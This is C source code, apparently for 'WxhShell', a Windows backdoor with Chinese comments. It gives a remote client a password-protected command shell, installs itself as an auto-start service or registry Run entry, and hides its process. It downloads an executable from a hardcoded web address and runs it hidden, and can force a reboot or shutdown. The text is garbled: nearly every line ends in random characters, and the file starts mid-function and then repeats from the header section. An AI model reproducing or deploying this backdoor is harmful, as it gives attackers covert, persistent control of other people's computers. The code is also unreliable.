    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w=}uwvn NX  
    if(Boot(SHUTDOWN)) MCT'Nw@A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /"?HZ% W  
    else { LC})ciWa  
    closesocket(wsh); |Xw/E)jA  
    ExitThread(0); & u!\<\  
    } j+^oz'q  
    break; r@{~ 5&L  
    } n=,\;3Y=  
  // 获取shell Vf`7V$sr  
  case 's': { FVKW9"AyW  
    CmdShell(wsh); [j"9rO" +  
    closesocket(wsh); m] W5+  
    ExitThread(0); k64."*X  
    break; 5o/&T"]@  
  } NWd<+-pC6  
  // 退出 Lgz$]Jbl8  
  case 'x': {  `juLQH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \V>?Do7  
    CloseIt(wsh); } %'bullT  
    break; oxj3[</'k  
    } {,cCEXag%  
  // 离开 =E&OuX-R  
  case 'q': { ](B@5-^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }@+NN ?P  
    closesocket(wsh); WO6/X/#8b  
    WSACleanup(); 8_&CT :u>  
    exit(1); n$aA)"A #  
    break; n9;;x%6.I  
        } 5*\\J&H  
  } &vovA} F  
  } dtPoo\@  
KI]wm  
  // 提示信息 vfB2XVc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )>7%pz  
} >|Q:g,I  
  } /j"sS2$U  
3M0+"l(X  
  return; ?%O3Oi Xz  
} kGkA:g:  
y{9~&r  
// shell模块句柄 #tdf>?  
int CmdShell(SOCKET sock) (]*H[)F/  
{ *[eL~oN.c  
STARTUPINFO si; `d2,*KR  
ZeroMemory(&si,sizeof(si)); 8wH.et25k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O|cu.u|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U Q@7n1  
PROCESS_INFORMATION ProcessInfo; h5kPn~  
char cmdline[]="cmd"; m6 s7F/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O;HY%  
  return 0; OndhLLz  
} k#}g,0@  
x\s,= n3z  
// 自身启动模式 2}vg U$a  
int StartFromService(void) CY?G*nS?iK  
{ wzjU,Mw e  
typedef struct 'j%F]CK  
{ ~n!!jM:N  
  DWORD ExitStatus; _kFYBd  
  DWORD PebBaseAddress; 02AI%OOH  
  DWORD AffinityMask; iO1nwl !#  
  DWORD BasePriority; DZ ^1s~  
  ULONG UniqueProcessId; +~sd"v6  
  ULONG InheritedFromUniqueProcessId; W</n=D<,I  
}   PROCESS_BASIC_INFORMATION; n uQM^2  
mT*{-n_Zs  
PROCNTQSIP NtQueryInformationProcess; ']o od!  
% 0:p)Z0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r!N]$lB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]r]k-GZ$  
FrTg4  
  HANDLE             hProcess; m:Go-tk  
  PROCESS_BASIC_INFORMATION pbi; K_-d(  
2 4\g bv<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |f2A89  
  if(NULL == hInst ) return 0; 1D([@)^  
JbQZ!+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x4a:PuqmGG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y\/gU8w/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cJ}QXuuUv  
^ DAa%u  
  if (!NtQueryInformationProcess) return 0; ES:!Vx9t0|  
j;P+_Hfe/E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U!q[e`B  
  if(!hProcess) return 0; !#D=w$@r:  
5a8>g [2U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P]<= ! F  
h!]"R<QQdu  
  CloseHandle(hProcess); 2O""4_G  
,qFA\cO*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nZvU 'k:  
if(hProcess==NULL) return 0; cHvF*A  
E%k7wM {  
HMODULE hMod; - HOnB=  
char procName[255]; m24v@?*  
unsigned long cbNeeded; &&RA4  
(7q^FtjA#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m^Lj+=Z"  
~5#)N{GbY  
  CloseHandle(hProcess); s^|\9%WD  
p%RUHN3G[  
if(strstr(procName,"services")) return 1; // 以服务启动 Xza4iV  
0'ZYO.y  
  return 0; // 注册表启动 mA{#]Yvf1  
} ;lfWu U%R  
b&t[S[P.V  
// 主模块 EnCU4CU`  
int StartWxhshell(LPSTR lpCmdLine) J1 tDO?  
{ 0^<,(]!  
  SOCKET wsl; -Ds|qzrN%  
BOOL val=TRUE; _-a|VTM  
  int port=0; ~Yl$I,  
  struct sockaddr_in door; kV^?p  
i!~>\r\6\  
  if(wscfg.ws_autoins) Install(); !UNNjBBP7  
V<0$xV1b|=  
port=atoi(lpCmdLine); 4]BJ0+|mT  
9/;{>RL=  
if(port<=0) port=wscfg.ws_port; 6VR18Y!y  
K\sbt7~  
  WSADATA data; 5~xeO@%I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k:0P+d  
r@$B'CsLj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m`9^.>]P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c^-YcGwa  
  door.sin_family = AF_INET; ONWO`XD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a J-}  
  door.sin_port = htons(port); %|?1B$s0  
=HPu {K$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R~c1)[[E  
closesocket(wsl); )k%M.{&bji  
return 1; A}4t9|/K6  
} "t+r+ipf])  
q!2<=:f  
  if(listen(wsl,2) == INVALID_SOCKET) { cs5ix"1A  
closesocket(wsl); 22I Yrk  
return 1; BGpk&.J  
} LhKY}R  
  Wxhshell(wsl); Kw*~W i  
  WSACleanup(); z[biK|YL  
62NkU)u  
return 0; 0.(Ml5&e  
[D9:A  
} Xoi9d1fO  
J" wKRy  
// 以NT服务方式启动 F G _,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d"l}Ny)C  
{ <[5#c*A  
DWORD   status = 0; 8q*";>*  
  DWORD   specificError = 0xfffffff; ~bFdJj 1*  
1w) fu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eEie?#Z/6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KT%{G8Y@M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UhA_1A'B  
  serviceStatus.dwWin32ExitCode     = 0; a'^0.1  
  serviceStatus.dwServiceSpecificExitCode = 0; Nc"NObe  
  serviceStatus.dwCheckPoint       = 0; h;}ODK(.  
  serviceStatus.dwWaitHint       = 0; T8mY#^sW_  
U[Nosh)hu\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m/" J s  
  if (hServiceStatusHandle==0) return; PuU*vs3  
ip674'bq7R  
status = GetLastError(); \@:j  
  if (status!=NO_ERROR) |87W*  
{ [nC4/V+-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [{/$9k-aF?  
    serviceStatus.dwCheckPoint       = 0; 6,3}/hgWJ$  
    serviceStatus.dwWaitHint       = 0; TL]bY'%  
    serviceStatus.dwWin32ExitCode     = status; "bi  !=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?}v}U^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LAos0bc)w\  
    return; *H?t;,\  
  } e-jw^   
}*Dd/'2+1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CBIT`k.+  
  serviceStatus.dwCheckPoint       = 0; }oV3EIH  
  serviceStatus.dwWaitHint       = 0; "TUPYFK9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dUZ$wbV%h  
} `{%-*f^  
#[Z<=i~C  
// 处理NT服务事件,比如:启动、停止 >Rr!rtc'x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YI/{TL8*KK  
{ { q})kO  
switch(fdwControl) +fkP+RVY  
{ 2S'AIuIew  
case SERVICE_CONTROL_STOP: 1"M"h_4  
  serviceStatus.dwWin32ExitCode = 0; ?${V{=)*X'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |iAEDZn  
  serviceStatus.dwCheckPoint   = 0; J/L)3y   
  serviceStatus.dwWaitHint     = 0; R2SBhs,+R  
  { 6(,ItMbI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXlTN[O  
  } Ia=&.,xub  
  return; m\l51}xz  
case SERVICE_CONTROL_PAUSE: <xXiJU+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /j$$0F>s7  
  break; Zp^)_ 0  
case SERVICE_CONTROL_CONTINUE: $#F;xys  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -6(h@F%E  
  break; gQu\[e%mVo  
case SERVICE_CONTROL_INTERROGATE: m2jwqx{G  
  break; D`1I;Tb#  
}; G[ ,,L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rve7YS'  
} muW`pm  
IiG4ib>)W  
// 标准应用程序主函数 r4]hS`X~%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @vVRF Z  
{ HYa$EE2  
m-~V+JU;x  
// 获取操作系统版本 TWl(\<&+)  
OsIsNt=GetOsVer(); 6KBzlj0T+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -Z[R S{#+T  
Q"l"p:n%n  
  // 从命令行安装 Mp DdJ,  
  if(strpbrk(lpCmdLine,"iI")) Install(); i9f7=-[U_  
qr<-eJf  
  // 下载执行文件 ebl)6C  
if(wscfg.ws_downexe) { oF 1W}DtA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I8pv:>EhC  
  WinExec(wscfg.ws_filenam,SW_HIDE); R-2FNl  
} v"G%5pq*\  
YokZar2a0  
if(!OsIsNt) { GDNh?R  
// 如果时win9x,隐藏进程并且设置为注册表启动 =2vMw]  
HideProc(); )Yy#`t  
StartWxhshell(lpCmdLine); D:RBq\8  
} b}}1TnS)  
else tNi% }~Z  
  if(StartFromService()) d-#u/{jG)  
  // 以服务方式启动 e!2%ku  
  StartServiceCtrlDispatcher(DispatchTable); f2SU5e2  
else f>"!-3  
  // 普通方式启动 6|"!sW`%N  
  StartWxhshell(lpCmdLine); N.Wdi  
Ma*dIwEp  
return 0; 7/U<\(V!g  
} 3Q!J9t5dc  
C&CsI] @g  
Ql6ai  
H2FFw-xW  
=========================================== CL@h!h554_  
kUaGok?  
mrLx]og,  
v ACsppa>#  
&T|&D[@  
mB|mt+  
" ]zwqGA  
rO?x/{;ai  
#include <stdio.h> tM PX vE  
#include <string.h> Jn <^Q7N  
#include <windows.h> ,w b|?>Y  
#include <winsock2.h> >$S,>d_k`  
#include <winsvc.h> %3l;bR>  
#include <urlmon.h> sG1]A:_<C  
*_).UAP.  
#pragma comment (lib, "Ws2_32.lib") N>nvt.`P  
#pragma comment (lib, "urlmon.lib") (P>eWw\0  
64 \5v?C  
#define MAX_USER   100 // 最大客户端连接数 4{pemqS*  
#define BUF_SOCK   200 // sock buffer L..X)-D2 n  
#define KEY_BUFF   255 // 输入 buffer ,<P[CUD&&  
C"Y]W-Mgg  
#define REBOOT     0   // 重启 +S5_J&~  
#define SHUTDOWN   1   // 关机 EAd:`X,Y  
=u3@ Dhw  
#define DEF_PORT   5000 // 监听端口 `TlUJ]d)  
0-~6} r$  
#define REG_LEN     16   // 注册表键长度 aEqI51I  
#define SVC_LEN     80   // NT服务名长度 C8W`Oly:]  
$@qs(Xwr  
// 从dll定义API \Af|$9boHz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y\z\{JW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! 7*_Z=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jme5'FR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U1HD~  
zI:5I@ X  
// wxhshell配置信息 $t H.np  
struct WSCFG { 2SPFjpG8n  
  int ws_port;         // 监听端口 rWfurB5f  
  char ws_passstr[REG_LEN]; // 口令 'kg]|"M  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2au(8IWu  
  char ws_regname[REG_LEN]; // 注册表键名 2l(j 4~g  
  char ws_svcname[REG_LEN]; // 服务名 Q.2nUT`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #M^Yh?~%w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c)!s[oL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pL/.JzB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^}7t:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V\`= "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %PdYv _5  
hGo|2@sc  
}; |21hY  
9c % Tv  
// default Wxhshell configuration y^46z( I  
struct WSCFG wscfg={DEF_PORT, v_h*:c  
    "xuhuanlingzhe", h5JwB<8  
    1, UR2)e{RXg  
    "Wxhshell", J+NK+,_*M  
    "Wxhshell", )$4DH:WN  
            "WxhShell Service", Hpg;?xAT  
    "Wrsky Windows CmdShell Service", /P"\ +Qp  
    "Please Input Your Password: ", to|9)\  
  1, &FF. Ddt{  
  "http://www.wrsky.com/wxhshell.exe", 4"(zi5`e  
  "Wxhshell.exe" j"u)/A8*  
    }; 9x{prCr  
UBHQzc+,  
// 消息定义模块 F-,{+B66  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fToI,FA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P2JRsZ.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s'Q^1oQM2h  
char *msg_ws_ext="\n\rExit."; k[)@I;m  
char *msg_ws_end="\n\rQuit."; R,+(JgJ  
char *msg_ws_boot="\n\rReboot..."; W*`6ero  
char *msg_ws_poff="\n\rShutdown..."; y]4 `d  
char *msg_ws_down="\n\rSave to "; /(pChY>  
PSR `8z n  
char *msg_ws_err="\n\rErr!"; emPm^M5/K  
char *msg_ws_ok="\n\rOK!"; r+p jv_R  
k+M-D~@5H  
char ExeFile[MAX_PATH]; z35Rjhj9  
int nUser = 0; g9Gy3zk=  
HANDLE handles[MAX_USER]; ea>\.D-S  
int OsIsNt; >! .9g  
6|cl`}g_j  
SERVICE_STATUS       serviceStatus; aW$nNUVD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #zs\Z]3#  
M?zAkHNS$  
// 函数声明 ^(vd8&71  
int Install(void); ta., 4R&K  
int Uninstall(void); T=dvc}  
int DownloadFile(char *sURL, SOCKET wsh); + aqo8'a  
int Boot(int flag); Z@/5~p  
void HideProc(void); gjLgeyyWC  
int GetOsVer(void); Qo *]l_UO;  
int Wxhshell(SOCKET wsl); ~GYtU9s5  
void TalkWithClient(void *cs); 7"i*J6y*  
int CmdShell(SOCKET sock); 4:g:$s|SE[  
int StartFromService(void); c (8J  
int StartWxhshell(LPSTR lpCmdLine); jloyJ@ck  
}h6z&:qA[?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %([H*sLX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~U+'3.Wo  
:q1r2&ne  
// 数据结构和表定义 mDf WR  
SERVICE_TABLE_ENTRY DispatchTable[] = :XZ pnjj  
{ 6|}mTG^  
{wscfg.ws_svcname, NTServiceMain}, K*FAngIB  
{NULL, NULL} ?='9YM  
}; Dx'e+Bm  
oyw1N;K  
// 自我安装 J[wXG6M  
int Install(void) ht9b=1wd%s  
{ 3vU (4}@  
  char svExeFile[MAX_PATH]; Q2?qvNZ  
  HKEY key; HCK4h DKo}  
  strcpy(svExeFile,ExeFile); Kjw\SQ)2~  
'DQyB`V2y  
// 如果是win9x系统,修改注册表设为自启动 54w-yY  
if(!OsIsNt) { _y UFe&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P\e%8&_U/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e,8-P-h~T  
  RegCloseKey(key); j83 V$ Le  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {8RGW0 Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !&[4T#c  
  RegCloseKey(key);  <@u6*]  
  return 0; +)S X  
    } 9G~P)Z!0  
  } F}>`3//u  
} to7)gOX(  
else { A4' aB0^  
5Y^ YKV{  
// 如果是NT以上系统,安装为系统服务 7ow1=%Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4+Y5u4 `t  
if (schSCManager!=0) PAkW[;GSDh  
{ LKcrr;  
  SC_HANDLE schService = CreateService WM26-nR  
  ( qv6]YPP  
  schSCManager, 2uIAnbW]M  
  wscfg.ws_svcname, ] ?(=rm9u  
  wscfg.ws_svcdisp, G<'S  
  SERVICE_ALL_ACCESS, {Hu0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h 8s*FI  
  SERVICE_AUTO_START, #x21e }Li  
  SERVICE_ERROR_NORMAL, )Pq.kn{Sp  
  svExeFile, LKa_ofY  
  NULL, ^-ZqS  
  NULL, Rs wR DLl  
  NULL, s/V[tEC*z  
  NULL, y+a&swd2(U  
  NULL :[doYizk:  
  ); \B)<<[ $  
  if (schService!=0) &!ZpBR(  
  { x>cu<,e$d\  
  CloseServiceHandle(schService); zw?6E8$h  
  CloseServiceHandle(schSCManager); 6%TV X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r_G`#Z_5F  
  strcat(svExeFile,wscfg.ws_svcname); /1*\*<cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A Ho<E"R\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;6?K&}J)-  
  RegCloseKey(key); #/T)9=m  
  return 0; ]P.S5s'  
    } Oaui@q  
  } 7DD ot_qb  
  CloseServiceHandle(schSCManager); E%TvGe;#  
} 5gGr|d|(  
} ZYG"nmNd  
|c) #zSv  
return 1; Z\x6  
} 3iB8QO;pp  
95}"AIi  
// 自我卸载 ]^!#0(  
int Uninstall(void) )j](_kvK  
{ ?pFHpz   
  HKEY key; - 0zo>[c/p  
 m{~r6@  
if(!OsIsNt) { "xWC49   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3FXU{"Qi4  
  RegDeleteValue(key,wscfg.ws_regname); B$)KZR(u  
  RegCloseKey(key); s:%>H|-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *fE5Z;!}  
  RegDeleteValue(key,wscfg.ws_regname); 4WLB,<b}  
  RegCloseKey(key); + EM '-  
  return 0; H]cCyuCdH  
  } M:ttzsd  
} ;I9D>shkc  
} *Nv<,Br,F  
else { fSj^/>  
Ba"Z^(:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 56fcifXz@  
if (schSCManager!=0) )pg?ZM9  
{ Q~jUZ-qN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U@H SU%H  
  if (schService!=0) L;Nm"[ `  
  { ]1X];x&e  
  if(DeleteService(schService)!=0) { Yt&^ i(  
  CloseServiceHandle(schService); zzM 'uo  
  CloseServiceHandle(schSCManager); #fQStO  
  return 0; s+aeP  
  } 1|2X0Xm{  
  CloseServiceHandle(schService); %GJ, &b|  
  } Y #KgaZ7N  
  CloseServiceHandle(schSCManager); )H)HR`  
} vuHqOAFNs  
} W}Z'zU?[  
t'^/}=c-  
return 1; Y}PI{PN  
} YI|7a#*F  
r.[9/'>  
// 从指定url下载文件 8!1vsEqv  
int DownloadFile(char *sURL, SOCKET wsh) fxjs"rD5  
{ O0e6I&u :  
  HRESULT hr; $cnIsyKWY  
char seps[]= "/"; DvU(rr\p  
char *token; ~h -0rE  
char *file; /.P*%'g  
char myURL[MAX_PATH]; q45Hmz  
char myFILE[MAX_PATH]; _L9`bzZj  
Mc9%s$MT  
strcpy(myURL,sURL); i&RPY bT{  
  token=strtok(myURL,seps); +Ibcc8Qud  
  while(token!=NULL) ,'[0tl}8K  
  { &0~E+ 9b  
    file=token; Jc/*w  
  token=strtok(NULL,seps); `|[Q]+Mx  
  } Z%k)'%_   
V|)3l7IC<  
GetCurrentDirectory(MAX_PATH,myFILE); ) m[0,  
strcat(myFILE, "\\"); uD_iyK0,  
strcat(myFILE, file); }[k~JXt  
  send(wsh,myFILE,strlen(myFILE),0); o/ ozX4C  
send(wsh,"...",3,0); pri=;I(2A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IZ/+ROn  
  if(hr==S_OK) xx_]e4  
return 0; Hz `aj  
else HTA Jn_  
return 1; x=(Q$Hl5  
l~.ae,|7  
} )l~:P uvh  
qS:hv&~  
// 系统电源模块 1^jGSB.%A  
int Boot(int flag) QX-%<@  
{ },lHa!<^  
  HANDLE hToken; cxn3e,d`  
  TOKEN_PRIVILEGES tkp; PRg^E4  
(R5n ND  
  if(OsIsNt) { g1UP/hNJ\8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jvv3;lWDL.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xEb+sE6Z  
    tkp.PrivilegeCount = 1; ..'k+0u^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n]S DpptM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $dIu${lu  
if(flag==REBOOT) { M{w[hV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K Rs e  
  return 0; I?r7dQEm  
} ,T& =*q  
else { l+`f\},  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bk^W]<:z`  
  return 0; w/ &)mm{  
} B)>r~v]  
  } HtY0=r  
  else { sxc^n aK0  
if(flag==REBOOT) { #e)A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `< _A#@  
  return 0; DO6Tz -%o  
} Z1Y/2MVSb  
else { 4u0\|e@a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) max 5s$@  
  return 0; k%2woHSu&  
} _:"PBN9  
} T .#cd1b  
!'m MGxkEb  
return 1; bT93R8yp  
} 6WI-ZEVp&  
pAK7V;sJ  
// win9x进程隐藏模块 gbf2ty  
void HideProc(void) <7  
{ 'DLgOUvh  
ly_@dsU'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&iZ {  
  if ( hKernel != NULL ) -O&u;kh4g  
  { Ebk9[=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `3wzOMgJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HV0!G-h  
    FreeLibrary(hKernel); KH=4A-e,0  
  } 1VXyn\  
ko7*9`  
return; dio<?6ZD9P  
} $nf5bo/;  
@'5*u~M  
// 获取操作系统版本 &Hl*Eg f  
int GetOsVer(void) c>~q2_} W(  
{ C4,;l^?=%  
  OSVERSIONINFO winfo; . W7Z pV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W'98ues%  
  GetVersionEx(&winfo); 6x]x>:8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f52*s#4}  
  return 1; OCX>LK!K  
  else 6cQ)*,Q  
  return 0; UgqfO(  
} ]'"aVGqa.  
n7A %y2  
// 客户端句柄模块 jWUpzf)q=T  
int Wxhshell(SOCKET wsl) 'c[|\M!u  
{ {.HFB:<!}  
  SOCKET wsh; %B#(d)T*-  
  struct sockaddr_in client; NT1"?Thx|  
  DWORD myID; M "W~%   
2SABu796j  
  while(nUser<MAX_USER) DQ08dP((v  
{ )NjxKSiU@  
  int nSize=sizeof(client); <w1# 3Mu'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :c?}~a~JO(  
  if(wsh==INVALID_SOCKET) return 1; dv7IHUFf  
%C1*`"Jb&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B* hW  
if(handles[nUser]==0) >}I BPC  
  closesocket(wsh); PV(TDb:0  
else IncHY?ud<  
  nUser++; _=g;K+%fb  
  } Nn:>c<[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qzh`x-S  
|to|kU  
  return 0; 0hCrEM!8  
} 5 0KB:1(g  
"TQ3{=j{  
// 关闭 socket l,w$!FnmR  
void CloseIt(SOCKET wsh) lk[BS*  
{ >cdxe3I\  
closesocket(wsh); 7j//x Tr}a  
nUser--; m|8ljXX  
ExitThread(0); 97L|IZ s)  
} [@4.<4Y  
i,R+C.6{  
// 客户端请求句柄 "'9[c"Iz  
void TalkWithClient(void *cs) H}f} Y8J{  
{ ^DaP^<V  
6~O9|s^38w  
  SOCKET wsh=(SOCKET)cs; z{uRq A G  
  char pwd[SVC_LEN]; &X%vp?p  
  char cmd[KEY_BUFF]; id=:J7!QU  
char chr[1]; o 00(\ -eb  
int i,j; (imaL,M-D  
!o{>[  
  while (nUser < MAX_USER) { s<hl>vY_'  
)_-EeH  
if(wscfg.ws_passstr) { #ts;s\!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D>>?8a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #|ILeby  
  //ZeroMemory(pwd,KEY_BUFF); 8 mFy9{M  
      i=0; 1{0 L~  
  while(i<SVC_LEN) { !$1'q~sO  
9irT}e  
  // 设置超时 6.(L8.jv  
  fd_set FdRead; 9%  wVE]  
  struct timeval TimeOut; +Dwq>3AH  
  FD_ZERO(&FdRead); m&&Y=2  
  FD_SET(wsh,&FdRead); BJ,D1E  
  TimeOut.tv_sec=8; X 8#Uk}/  
  TimeOut.tv_usec=0; O% }EpIP_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Gyw^_{J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fr{}~fRW<  
Zp'q;h_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t7; ^rk*  
  pwd=chr[0]; A6faRi703  
  if(chr[0]==0xd || chr[0]==0xa) { 552U~t  
  pwd=0; %X^K5Io  
  break; mQiVTIP3[O  
  } >r8$vQGj  
  i++; z c4l{+3  
    } ^U@-Dp,k+  
]\ DIJ>JZ  
  // 如果是非法用户,关闭 socket \fjr`t]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +61h!/<W  
} ;"T,3JQPn6  
YuVg/ '=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q(0eq_X|6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2n3g!M6~  
%<?U`o@*  
while(1) { ?K>=>bS^h  
|tua*zEsS  
  ZeroMemory(cmd,KEY_BUFF); [:Y`^iR.  
fk!P#  
      // 自动支持客户端 telnet标准   Y [ p  
  j=0; q?TI(J+/  
  while(j<KEY_BUFF) { YI!@ ,t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p+7ZGB  
  cmd[j]=chr[0]; "(cMCBVYdA  
  if(chr[0]==0xa || chr[0]==0xd) { wz1fl#WU  
  cmd[j]=0; g*a|QBj%  
  break; Z7:TPY$b  
  } B(/)mB  
  j++; ]Ac&h aAP  
    } x=jS=3$8  
2 ,bLEhu  
  // 下载文件 %*Aq%,.={  
  if(strstr(cmd,"http://")) { ouO<un  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); blHJhB&8  
  if(DownloadFile(cmd,wsh)) }+3v5Nz;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KDUa0$"  
  else ,'>,N/JA  
